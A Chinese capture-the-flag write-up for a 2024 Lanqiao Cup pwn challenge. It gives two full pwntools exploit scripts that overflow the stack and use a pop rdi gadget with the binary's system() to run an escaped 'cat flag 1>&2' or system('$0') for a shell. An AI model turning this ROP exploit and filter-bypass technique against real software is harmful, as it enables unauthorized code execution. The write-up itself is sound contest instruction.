[蓝桥杯2024]-PWN:fd解析(命令符转义,标准输出重定向,利用system(‘$0‘)获取shell权限)

查看保护

查看ida

这里有一次栈溢出,并且题目给了我们system函数。

这里的知识点没有那么复杂

方法一(命令转义):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"ca\\t flag 1>&2"
print(len(payload))
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

#补充点1:在第一种方法里,这里的\\是转义符,它所占的字节数并不是2个

复制代码
payload=b"cat flag 1>&2"
复制代码
payload=b"c\at flag 1>&2"
复制代码
payload=b"c\\at flag 1>&2"

所以在这里\\只占一个字节的位置,刚好达到输入上限

方法二(利用system('$0')):

完整exp:

复制代码
from pwn import*
p=process('./pwn')
pop_rdi=0x400933
info=0x601090
system=0x400778

payload=b"$0\x00"
payload=payload.ljust(0xe,b'\x00')
p.sendafter(b'restricted stack.',payload)
payload=b'a'*0x28+p64(pop_rdi)+p64(info)+p64(system)
p.sendafter(b'...',payload)
p.interactive()

获得权限之后再输入exec 1>&2进行重定向就可以正常拿flag了

相关推荐
Che_Che_13 小时前
论文阅读-IDFUZZ: Intelligent Directed Grey-box Fuzzing
论文阅读·网络安全·模糊测试·定向模糊测试
野猪亨利66713 小时前
Qt day1
开发语言·数据库·qt
介一安全13 小时前
【Frida Android】基础篇8:Java层Hook基础——调用带对象参数的方法
android·网络安全·逆向·安全性测试·frida
本就一无所有 何惧重新开始13 小时前
Redis技术应用
java·数据库·spring boot·redis·后端·缓存
isaki13713 小时前
qt day1
开发语言·数据库·qt
流星白龙13 小时前
【Qt】4.项目文件解析
开发语言·数据库·qt
小钻风336613 小时前
HTTPS是如何确保安全的
网络·数据库
CryptoPP14 小时前
获取越南股票市场列表(包含VN30成分股)实战指南
大数据·服务器·数据库·区块链
你的电影很有趣15 小时前
lesson72:Node.js 安全实战:Crypto-Js 4.2.0 与 Express 加密体系构建指南
javascript·安全·node.js
阿巴~阿巴~15 小时前
Redis重大版本演进全解析:从2.6到7.0
服务器·数据库·redis·ubuntu·缓存·centos